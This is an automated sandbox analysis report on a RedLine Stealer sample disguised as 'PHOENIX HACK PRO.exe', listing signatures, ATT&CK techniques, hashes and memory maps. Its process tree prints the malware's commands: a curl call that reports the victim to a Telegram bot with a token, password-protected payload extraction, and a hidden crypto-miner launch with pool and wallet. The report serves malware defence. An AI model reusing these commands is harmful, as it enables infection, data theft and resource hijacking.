Analysis

  • max time kernel
    72s
  • max time network
    70s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    05-12-2021 20:22

General

  • Target

    PHOENIX HACK PRO.exe

  • Size

    1.6MB

  • MD5

    c7070acb1e849402487f7d111b0c64b8

  • SHA1

    82ea0d011b747d075fb4f9a8c54c259c102f5d38

  • SHA256

    fac0db5324652b25cf41aad97f7444147c5262745ae6779c30a31964e6d4e371

  • SHA512

    f6630355eab835f2a800d96d3223243a218d4690b859a9a463ccd4ac2244327ecdd4e85242322965f723d30c56c889042582bbda942c106c76b891385b0fbe9b

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PHOENIX HACK PRO.exe
    "C:\Users\Admin\AppData\Local\Temp\PHOENIX HACK PRO.exe"
    1⤵
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3112
    • C:\Users\Admin\AppData\Local\Temp\a.exe
      "C:\Users\Admin\AppData\Local\Temp\a.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl "https://api.telegram.org/bot5054999145:AAFdU1qLbwj0w1g6jHdF6-sMbR_aB06M0ME/sendMessage?chat_id=-773528453&text=%F0%9F%90%B7%20%D0%A3%20%D0%B2%D0%B0%D1%81%20%D0%BD%D0%BE%D0%B2%D1%8B%D0%B9%20%D0%B2%D0%BE%D1%80%D0%BA%D0%B5%D1%80!%0A%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%D0%BA%D0%B0%D1%80%D1%82%D0%B0%3A%20Microsoft Basic Display Adapter%0A(Windows%20Defender%20has%20been%20turned%20off)"
        3⤵
          PID:956
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip * -p"8311417383488996" -oC:\Users\Admin\AppData\Roaming\Microsoft\
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3584
          • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
            C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip * -p"8311417383488996" -oC:\Users\Admin\AppData\Roaming\Microsoft\
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            PID:1944
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip * -p"9249970918899184" -oC:\Users\Admin\AppData\Roaming\Microsoft\
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2008
          • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
            C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe x C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip * -p"9249970918899184" -oC:\Users\Admin\AppData\Roaming\Microsoft\
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            PID:2448
        • C:\Windows\bfsvc.exe
          C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0xDE52C43Eff74263429627E5134c722e966cC16D0 -coin etc -worker EasyMiner_Bot -clKernel 3
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          PID:2912
        • C:\Windows\explorer.exe
          C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0xDE52C43Eff74263429627E5134c722e966cC16D0 -coin etc -worker EasyMiner_Bot -clKernel 3
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          PID:2884

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Virtualization/Sandbox Evasion

    1
    T1497

    Modify Registry

    1
    T1112

    Credential Access

    Credentials in Files

    2
    T1081

    Discovery

    Query Registry

    3
    T1012

    Virtualization/Sandbox Evasion

    1
    T1497

    System Information Discovery

    3
    T1082

    Collection

    Data from Local System

    2
    T1005

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\a.exe
      MD5

      d63a5f8abeae0e5e57f37a7d7d7b536a

      SHA1

      1ff22ef0159aa87f94bfbd1517a7f3f76e336ace

      SHA256

      38790585548ea1c297215d9ed82e276fd2fe260052ceef1ee81d9635d78f0133

      SHA512

      68c2cc24a4e8515e22785cd608e161acefa78bf610bafecd288c25410462d774fd370877d9c41edaeafc4f194166045faa63db8f29747ceb460e972dab6c7638

    • C:\Users\Admin\AppData\Local\Temp\a.exe
      MD5

      d63a5f8abeae0e5e57f37a7d7d7b536a

      SHA1

      1ff22ef0159aa87f94bfbd1517a7f3f76e336ace

      SHA256

      38790585548ea1c297215d9ed82e276fd2fe260052ceef1ee81d9635d78f0133

      SHA512

      68c2cc24a4e8515e22785cd608e161acefa78bf610bafecd288c25410462d774fd370877d9c41edaeafc4f194166045faa63db8f29747ceb460e972dab6c7638

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
      MD5

      86e8388e83be8909d148518cf7b6e083

      SHA1

      4f7fdcf3abc0169b591e502842be074a5188c2c9

      SHA256

      4120c9e964ea7ed9f267ba921367a50f7b0895febe008a10aa91c0c69b966f17

      SHA512

      2d34d381aacd3ef7482e7580dd39760e09805a6bd8380776a40743018218ae18cc9c09aea2f54568f46f9ab12c9042a675c2956e9bc746ddc5afb22bb26e3c5e

    • C:\Users\Admin\AppData\Roaming\Microsoft\7z.exe
      MD5

      86e8388e83be8909d148518cf7b6e083

      SHA1

      4f7fdcf3abc0169b591e502842be074a5188c2c9

      SHA256

      4120c9e964ea7ed9f267ba921367a50f7b0895febe008a10aa91c0c69b966f17

      SHA512

      2d34d381aacd3ef7482e7580dd39760e09805a6bd8380776a40743018218ae18cc9c09aea2f54568f46f9ab12c9042a675c2956e9bc746ddc5afb22bb26e3c5e

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.exe
      MD5

      67a55e73dc3e285f5ecad2f52e4606aa

      SHA1

      280b8d8083aac33e1b05078bb6706f155cae47c7

      SHA256

      fc0e21a8e33d53a30207d3e0e3dc9079e253fc623cc4835877cbc39ca7a826a3

      SHA512

      e12b564cc866d3d50246c4326e0086daa3086adf8084f69c1f0fa49a091ed9a2c93ea07a2f6cc4eec30dea54492dbf12950e8e3e7f6c26208f7b57860f362efe

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegData_Temp.zip
      MD5

      1543b223f63fda679a94d034d23b27ba

      SHA1

      82eb69d0d096ff966679ce92c4fb2dd5a8dd6f1e

      SHA256

      30868a1cadb90f598ec9d96f93650c90883941522134b2e0a2dfeca958958e34

      SHA512

      270de3749322416e371d5177b974450e5e2fbca3570179d2f4811f1fda55aca4ea82cbd0a37d1b56ee8614be154373054b573da854a818caafb41b3cee502f78

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.exe
      MD5

      9d99b4d43e4e7a0408c5fe99b4cc4afe

      SHA1

      702436963243f0de2d431ec29b199505a0aa3b90

      SHA256

      c9e36c039bfc370135feabad11840fe457caec3c4914351461f3f9e115194fb3

      SHA512

      44620e76efc6d0cefc1c6f8eca77c0114d41fbf4d6e1f6ff2287286ff57aca1679a0428b35c757afb96fd31d99de8b9e1d956b89636d9c373248e5c5b5b05754

    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost_Temp.zip
      MD5

      32ab3a6509fe78d666dcafc5be73f2e1

      SHA1

      c16e1c2716b4ae5b9e5bfb9773d810344b539126

      SHA256

      dd2170bbea158a2c2b8c262c2be9c8d91fc3e86efe7f607fce7a9224a389bdec

      SHA512

      c31ee784de253c4f5c36990959d8e6f74b2b0eeecfd265cab2d5295be33f7af056e144d829adcd754c78e06023816cb3f576110314717ee7e50cc0af507f02fe

    • \Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • \Users\Admin\AppData\Roaming\Microsoft\7z.dll
      MD5

      42336b5fc6be24babfb87699c858fb27

      SHA1

      38ae0db53b22d2e2f52bfdf25b14d79f8feca7aa

      SHA256

      b5508c1dab79939770ed9aa151b6731af075e84c34a316d36fc90388d3a7af07

      SHA512

      f091cb629231811b14ff7d40d8e8ad5e9e0c389f5c56679efb26e33dc189575f062f16f4e4b7e6caea4c268c07955bfb461ca6e86a16778c37d4cb833c8dc3f3

    • memory/432-183-0x0000000000000000-mapping.dmp
    • memory/956-186-0x0000000000000000-mapping.dmp
    • memory/1944-188-0x0000000000000000-mapping.dmp
    • memory/2008-193-0x0000000000000000-mapping.dmp
    • memory/2448-194-0x0000000000000000-mapping.dmp
    • memory/2884-211-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/2884-202-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/2884-203-0x0000000140E36784-mapping.dmp
    • memory/2884-206-0x00000000003F0000-0x00000000003F2000-memory.dmp
      Filesize

      8KB

    • memory/2884-207-0x00000000003F0000-0x00000000003F2000-memory.dmp
      Filesize

      8KB

    • memory/2884-208-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/2884-214-0x00007FF7FA250000-0x00007FF7FA621000-memory.dmp
      Filesize

      3.8MB

    • memory/2884-213-0x0000000140000000-0x0000000140E38000-memory.dmp
      Filesize

      14.2MB

    • memory/2912-210-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/2912-199-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/2912-200-0x000000014165D878-mapping.dmp
    • memory/2912-204-0x000001C8CDB50000-0x000001C8CDB52000-memory.dmp
      Filesize

      8KB

    • memory/2912-205-0x000001C8CDB50000-0x000001C8CDB52000-memory.dmp
      Filesize

      8KB

    • memory/2912-212-0x00007FF65E270000-0x00007FF65E641000-memory.dmp
      Filesize

      3.8MB

    • memory/2912-209-0x0000000140000000-0x0000000141660000-memory.dmp
      Filesize

      22.4MB

    • memory/3112-142-0x00000000027F0000-0x00000000027F1000-memory.dmp
      Filesize

      4KB

    • memory/3112-149-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-151-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-152-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-153-0x0000000002630000-0x0000000002631000-memory.dmp
      Filesize

      4KB

    • memory/3112-154-0x0000000002940000-0x0000000002941000-memory.dmp
      Filesize

      4KB

    • memory/3112-155-0x0000000002950000-0x0000000002951000-memory.dmp
      Filesize

      4KB

    • memory/3112-157-0x0000000002970000-0x0000000002971000-memory.dmp
      Filesize

      4KB

    • memory/3112-156-0x0000000002900000-0x0000000002901000-memory.dmp
      Filesize

      4KB

    • memory/3112-158-0x0000000002930000-0x0000000002931000-memory.dmp
      Filesize

      4KB

    • memory/3112-159-0x0000000002920000-0x0000000002921000-memory.dmp
      Filesize

      4KB

    • memory/3112-160-0x0000000002990000-0x0000000002991000-memory.dmp
      Filesize

      4KB

    • memory/3112-161-0x0000000002630000-0x0000000002631000-memory.dmp
      Filesize

      4KB

    • memory/3112-162-0x0000000002630000-0x0000000002631000-memory.dmp
      Filesize

      4KB

    • memory/3112-163-0x0000000002980000-0x0000000002981000-memory.dmp
      Filesize

      4KB

    • memory/3112-164-0x00000000026E0000-0x00000000026E1000-memory.dmp
      Filesize

      4KB

    • memory/3112-165-0x0000000002630000-0x0000000002631000-memory.dmp
      Filesize

      4KB

    • memory/3112-166-0x0000000002630000-0x0000000002631000-memory.dmp
      Filesize

      4KB

    • memory/3112-167-0x0000000000400000-0x0000000000402000-memory.dmp
      Filesize

      8KB

    • memory/3112-169-0x0000000005DC0000-0x0000000005DC1000-memory.dmp
      Filesize

      4KB

    • memory/3112-170-0x0000000006460000-0x0000000006461000-memory.dmp
      Filesize

      4KB

    • memory/3112-171-0x0000000006490000-0x0000000006491000-memory.dmp
      Filesize

      4KB

    • memory/3112-172-0x0000000007BC0000-0x0000000007BC1000-memory.dmp
      Filesize

      4KB

    • memory/3112-173-0x00000000066E0000-0x00000000066E1000-memory.dmp
      Filesize

      4KB

    • memory/3112-174-0x0000000007DA0000-0x0000000007DA1000-memory.dmp
      Filesize

      4KB

    • memory/3112-175-0x0000000008520000-0x0000000008521000-memory.dmp
      Filesize

      4KB

    • memory/3112-176-0x0000000008A60000-0x0000000008A61000-memory.dmp
      Filesize

      4KB

    • memory/3112-177-0x0000000008C30000-0x0000000008C31000-memory.dmp
      Filesize

      4KB

    • memory/3112-178-0x0000000008CD0000-0x0000000008CD1000-memory.dmp
      Filesize

      4KB

    • memory/3112-179-0x0000000008DE0000-0x0000000008DE1000-memory.dmp
      Filesize

      4KB

    • memory/3112-180-0x00000000091D0000-0x00000000091D1000-memory.dmp
      Filesize

      4KB

    • memory/3112-181-0x0000000009240000-0x0000000009241000-memory.dmp
      Filesize

      4KB

    • memory/3112-182-0x0000000009430000-0x0000000009431000-memory.dmp
      Filesize

      4KB

    • memory/3112-150-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-148-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-146-0x00000000027C0000-0x00000000027C1000-memory.dmp
      Filesize

      4KB

    • memory/3112-147-0x0000000002830000-0x0000000002831000-memory.dmp
      Filesize

      4KB

    • memory/3112-119-0x0000000002890000-0x0000000002891000-memory.dmp
      Filesize

      4KB

    • memory/3112-145-0x00000000027D0000-0x00000000027D1000-memory.dmp
      Filesize

      4KB

    • memory/3112-144-0x0000000002810000-0x0000000002811000-memory.dmp
      Filesize

      4KB

    • memory/3112-143-0x00000000027A0000-0x00000000027A1000-memory.dmp
      Filesize

      4KB

    • memory/3112-118-0x0000000000CC0000-0x0000000000D20000-memory.dmp
      Filesize

      384KB

    • memory/3112-141-0x00000000027E0000-0x00000000027E1000-memory.dmp
      Filesize

      4KB

    • memory/3112-140-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-139-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-138-0x00000000026D0000-0x00000000026D1000-memory.dmp
      Filesize

      4KB

    • memory/3112-137-0x00000000026B0000-0x00000000026B1000-memory.dmp
      Filesize

      4KB

    • memory/3112-136-0x0000000002660000-0x0000000002661000-memory.dmp
      Filesize

      4KB

    • memory/3112-135-0x0000000002640000-0x0000000002641000-memory.dmp
      Filesize

      4KB

    • memory/3112-134-0x0000000002690000-0x0000000002691000-memory.dmp
      Filesize

      4KB

    • memory/3112-133-0x0000000002680000-0x0000000002681000-memory.dmp
      Filesize

      4KB

    • memory/3112-132-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-131-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-130-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-129-0x0000000003570000-0x0000000003571000-memory.dmp
      Filesize

      4KB

    • memory/3112-128-0x0000000003580000-0x0000000003581000-memory.dmp
      Filesize

      4KB

    • memory/3112-127-0x00000000028B0000-0x00000000028B1000-memory.dmp
      Filesize

      4KB

    • memory/3112-126-0x00000000028E0000-0x00000000028E1000-memory.dmp
      Filesize

      4KB

    • memory/3112-125-0x0000000002870000-0x0000000002871000-memory.dmp
      Filesize

      4KB

    • memory/3112-124-0x0000000002880000-0x0000000002881000-memory.dmp
      Filesize

      4KB

    • memory/3112-123-0x0000000000400000-0x00000000007F4000-memory.dmp
      Filesize

      4.0MB

    • memory/3112-122-0x00000000028C0000-0x00000000028C1000-memory.dmp
      Filesize

      4KB

    • memory/3112-120-0x00000000028A0000-0x00000000028A1000-memory.dmp
      Filesize

      4KB

    • memory/3112-121-0x0000000002850000-0x0000000002851000-memory.dmp
      Filesize

      4KB

    • memory/3584-187-0x0000000000000000-mapping.dmp